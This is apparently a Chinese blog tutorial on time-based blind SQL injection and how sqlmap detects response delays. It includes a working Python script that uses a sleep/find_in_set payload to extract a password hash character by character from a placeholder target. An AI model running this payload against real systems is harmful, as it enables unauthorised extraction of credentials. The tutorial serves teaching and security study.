Sql注入系列詳解(一)---基於時間差的盲注
阿新 • • 發佈:2019-02-18
Sql 基於時間的盲注
基於的原理是,當對資料庫進行查詢操作,如果查詢的條件不存在,語句執行的時間便是0.但往往語句執行的速度非常快,執行緒資訊一閃而過,得到的執行時間基本為0.
例如:
於是sleep(N)這個語句在這種情況下起到了非常大的作用。
Select sleep(N)可以讓此語句執行n秒鐘。
但是如果查詢語句的條件不存在,執行的時間便是0,利用該函式這樣一個特殊的性質,可以利用時間延遲來判斷我們查詢的是否存在。
這便是SQL基於時間延遲的盲注的工作原理
在實際使用中會用到find_in_set這樣一個函式。
如果字串str是在的strlist組成的N子串的字串列表,返回值的範圍為 1到N。
給出一個很對32位hash的盲注演算法
import urllib import urllib2 import socket from time import time socket.setdefaulttimeout(1000000) def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx') start = time() response = urllib2.urlopen(req) end = time() #print response.read() index = int(end-start) print 'index:'+ str(index) print 'char:' + wordlist[index-1] return index wordlist = "0123456789ABCDEF" res = "" for i in range(1,34): num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan') res = res+wordlist[num-1] print res
原始碼來自FreeBuff
接下來看看在注入神器sqlmap,是怎樣實現基於時間的盲注的!
裡面的核心函式是Request.queryPage()
在該函式中
如果採用基於時間差的盲注,將多次遞迴呼叫queryPage函式,不過使用的引數與第一次不同。
將每次的響應時間存放在kb.responseTimes中。
如果不是,就將響應時間在kb.responseTimes擴充套件。
返回的是最後一次的是否有響應延遲。
deviation = stdev(kb.responseTimes)
求出多次響應時間的標準差,與平均值計算得lowerStdLimit,將最後一次的響應時間threadData.lastQueryDuration
有延遲說明伺服器對資料正確響應。